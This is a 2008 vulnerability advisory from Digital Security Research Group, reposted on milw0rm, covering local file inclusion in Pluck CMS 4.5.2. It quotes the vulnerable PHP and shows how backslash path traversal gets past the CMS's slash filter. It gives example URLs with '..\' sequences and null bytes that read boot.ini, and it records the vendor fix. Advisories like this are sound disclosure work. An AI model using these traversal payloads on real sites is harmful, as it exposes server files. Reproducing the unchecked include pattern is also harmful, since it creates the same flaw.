Digital Security Research Group [DSecRG] Advisory #DSECRG-08-037
Application: Pluck CMS
Versions Affected: 4.5.2
Vendor URL: http://www.pluck-cms.org/
Bug: Multiple Local File Include
Exploits: YES
Reported: 28.07.2008
Vendor Response: 03.08.2008
Solution: YES
Date of Public Advisory: 25.08.2008
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
Description
***********
Pluck CMS has Multiple Local File Include vulnerabilities.
Details
*******
1. Local File Include vulnerabilities found in script data/inc/themes/predefined_variables.php
Vulnerable GET parameters "blogpost", "cat" and "file".
First discovered by AmnPardaz Security Research Team [http://www.bugreport.ir/index_48.htm].
Vendor fixed vulnerability in version 4.5.2 by blocking directly access to this file [http://www.pluck-cms.org/releasenotes.php#4.5.2].
However, attacker still can exploit this vulnerability from index.php file.
Code [line 15-46]
-----------------
#################################################
//Make sure the file isn't accessed directly
if((!ereg("index.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("admin.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("install.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("login.php", $_SERVER['SCRIPT_FILENAME']))){
//Give out an "access denied" error
echo "access denied";
//Block all other code
exit();
}
//Include Translation data
include ("data/settings/langpref.php");
include ("data/inc/lang/$langpref");
//Get Site-title
$sitetitle = file_get_contents("data/settings/title.dat");
//Get the page-data
$filetoread = $_GET['file'];
$album = $_GET['album'];
$blogpost = $_GET['blogpost'];
$cat = $_GET['cat'];
if (($filetoread) && (file_exists("data/content/$filetoread"))) {
include "data/content/$filetoread"; }
elseif ($album) {
$title = $album; }
elseif (($blogpost) && (file_exists("data/blog/$cat/posts/$blogpost"))) {
include("data/blog/$cat/posts/$blogpost"); }
elseif ((!file_exists("data/content/$filetoread")) && (!$album) && (!$blogpost)) {
$title = $lang_front1;
$content = $lang_front2; }
#################################################
Pluck CMS has security module that checks for hacking attempts and blocks them.
Code
----
#################################################
//Remote File Inclusion
//Check for strange characters in $_GET keys
//All keys with "/" or ":" are blocked, so it becomes virtually impossible to inject other pages or websites
foreach ($_GET as $get_key => $get_value) {
if ((ereg("/", $get_value)) || (ereg(":", $get_value))) {
eval("unset(\${$get_key});");
die("A hacking attempt has been detected. For security reasons, we're blocking any code execution."); }
}
#################################################
This vulnerability can be exploited only on systems that accept backslash as a path separator.
Example:
http://[server]/[installdir]/index.php?file=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini
http://[server]/[installdir]/index.php?blogpost=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini
http://[server]/[installdir]/index.php?blogpost=DSecRG&cat=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini%00
2. Local File Include vulnerabilities found in script data/inc/blog_include_react.php
Vulnerable GET parameters "blogpost" and "cat".
Code [line 15-30]
-----------------
#################################################
//Make sure the file isn't accessed directly
if((!ereg("index.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("admin.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("install.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("login.php", $_SERVER['SCRIPT_FILENAME']))){
//Give out an "access denied" error
echo "access denied";
//Block all other code
exit();
}
//Predefined variable
$blogpost = $_GET['blogpost'];
$cat = $_GET['cat'];
$pageback = $_GET['pageback'];
list($reactiondir, $extension) = explode(".", $blogpost);
//Include the blogpost
include("data/blog/$cat/posts/$blogpost");
#################################################
Attacker can exploit vulnerability from index.php file.
This vulnerability can be exploited only on systems that accept backslash as a path separator.
Example:
http://[server]/[installdir]/index.php?blogpost=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini
http://[server]/[installdir]/index.php?blogpost=DSecRG&cat=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini%00
Solution
********
Vendor fix this flaw on 22.08.2008. New version of Pluck CMS 4.5.3 can be download here:
http://www.pluck-cms.org/download.php
Release notes:
http://www.pluck-cms.org/releasenotes.php#4.5.3
About
*****
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)
# milw0rm.com [2008-08-25]
